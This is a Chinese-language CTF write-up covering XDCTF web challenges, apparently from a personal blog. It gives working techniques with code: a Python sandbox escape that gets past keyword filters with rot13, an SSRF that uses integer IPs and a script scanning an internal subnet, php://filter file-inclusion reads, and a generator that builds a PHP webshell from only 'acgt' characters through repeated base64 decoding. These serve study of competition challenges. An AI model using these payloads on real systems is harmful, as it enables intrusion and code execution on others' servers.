XDCTF web write up

国庆在家打了一波xdctf,题目质量挺高的,学到了不少东西。整理了一下web题目,感觉web题的比重越来越小,web狗可能要踏上艰难的转型路了。。。

web2

python沙盒逃逸,这一篇文章介绍的很详细。过滤了os,system,import等关键字,可以通过execfile+编码来绕过过滤。

os模块的popen函数执行系统命令报错,使用subprocess模块的call函数。

flag中的l被替换,find找不到,一个一个目录翻的。。。

payload:

#!/usr/bin/python
execfile('/hfe/yvo/clguba2.7/fhocebprff.cl'.decode('rot13'))
call("cat /codes/f1ag_34t6refg812rewfuy", shell=True)

web3

flag页面的URL为http://web.ctf.xidian.edu.cn/web3/?file=flag.html,推测为文件读取。

将flag.html改为index.php获得源码

<?php
/*//设置open_basedir
ini_set("open_basedir", "/home/shawn/www/index/");
 */

if (isset($_GET['file'])) {
    $file = trim($_GET['file']);
} else {
    $file = "main.html";
}

// disallow ip
if (preg_match('/^(http:\/\/)+([^\/]+)/i', $file, $domain)) {
    $domain = $domain[2];
    if (stripos($domain, ".") !== false) {
        die("Hacker");
    }
}

if( @file_get_contents($file)!=''){
echo file_get_contents($file);

}else{
  /*省略部分*/

在这里卡了很久,最后推测是ssrf,通过读取/etc/hosts文件得知内网ip为172.18.0.3

由于正则表达式过滤了形如127.0.0.1的ip,使用整形ip来代替,扫描内网。

#-*- coding:utf-8 -*-
import socket
import requests
import urllib

for i in range(1, 256):
    ip = '172.18.0.%d' % i
    int_ip = int(socket.inet_aton(ip).encode('hex'), 16)
    #print int_ip
    r = requests.get('http://web.ctf.xidian.edu.cn/web3/?file='+urllib.quote_plus('http://%d' % int_ip))
    if 'flag' in r.text:
        print ip, int_ip
        print r.text
        break

172.18.0.2有flag

172.18.0.2 2886860802
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.13.5</center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- do u see me? ha flag{0e34c0321b2b3048d399b41a8ffda584} -->

upload

page.php存在文件包含漏洞,可以通过php伪协议来读取文件

http://web.ctf.xidian.edu.cn/web5/page.php?file=php://filter/convert.base64-encode/resource=index.php

得到page.php和upload.php的源码。

page.php

<?php
error_reporting(0);
@$file = $_GET["file"];
if(isset($file)) {
    if (preg_match('/data|input|read/i', $file) || strstr($file,"../") !== FALSE ) {
        echo "<p> error! </p>";
    } else {
        include($file);
    }
}
?>

upload.php

<?php
error_reporting(0);
session_start();

if (isset($_FILES[file]) && $_FILES[file]['size'] < 4 ** 8) {
    $d = "./tmp/" . md5(session_id());
    @mkdir($d);
    $b = "$d/" . pathinfo($_FILES[file][name], 8);
    file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
    echo $b;
}
?>

page.php没什么好说的,upload.php的正则将不是acgtACGT的字符全部替换为空了。

一开始的以为是没有使用move_uploaded_file函数,临时文件会有问题,不出意外思路完全偏了(菜的不行,脑洞还挺大。。。)。临时文件在脚本执行结束就直接删除了。也想过从正则入手,还是姿势不够,完全没进展。

我们需要使用acgtACGT这8个字符来构造一个webshell,然后配合文件包含来使用。

知识点来了:php的base64解码函数为了提高自己的容错性,如果参数中有非法字符 (不在 base64 的 64 个字符范围内的) 就会跳过。

mark

思路是这样的,首先得到acgt的全排列,然后将他们解码,得到的明文必然会出现新的字符,通过这种方法不断扩充可用字符,直到base64编码的64个字符全部可用。

mark

上面这个例子:acgtacgtacgtacgt的解码结果为'i\xc8-i\xc8-i\xc8-i\xc8-',里面有可用字符i,由于解码函数的容错性'i\xc8-i\xc8-i\xc8-i\xc8-'的解码结果与iiii是相同的。

写脚本生成webshell:

#-*- coding:utf-8 -*-
import itertools
import string

allow_chars = set('acgt')
shell = '<?php phpinfo();?>'
base64_chars = string.letters + string.digits + '+/' #base64可用字符集
table = []

def get_chars(allow_chars):
    global table
    l = list(itertools.permutations(allow_chars, 4)) #获取可用字符的全排列    
    chars = {}
    for data in l:
        data = ''.join(data)
        decode_data = data.decode('base64')
        #寻找合法字符,用可用字符代替,扩充字符集
        counter = 0
        t = ''
        for char in decode_data:
            if char in base64_chars:
                counter += 1
                t = char 
        if counter == 1:
            chars[t] = data
    table.append(chars)        
    return table if (len(chars.keys()) == len(base64_chars)) else get_chars(chars.keys())

def base64_encode(data):
    return data.encode('base64').replace('=', '').replace('\n', '')

#一层层将字符串替换为可用字符
def get_encode_shell(data, table):
    data = base64_encode(data)
    temp = ''
    for chs in table[::-1]:
        for ch in data:
            temp += chs[ch]
        data = temp
        temp = ''
    return data

if __name__ == '__main__': 
    dicts = get_chars(allow_chars)
    encode_shell = get_encode_shell(shell, dicts)
    print encode_shell
    with open('shell', 'w') as f:
        f.write(encode_shell)
    print 'php://filter/convert.base64-decode/resource='*(len(table) + 1)

speech

时代在进步,社会在发展,web题都和机器学习结合在一起了。。。发给玩机器学习的学长学弟,看了很久也没个结果,只能含泪跳过了。。。

标签: ctf, write up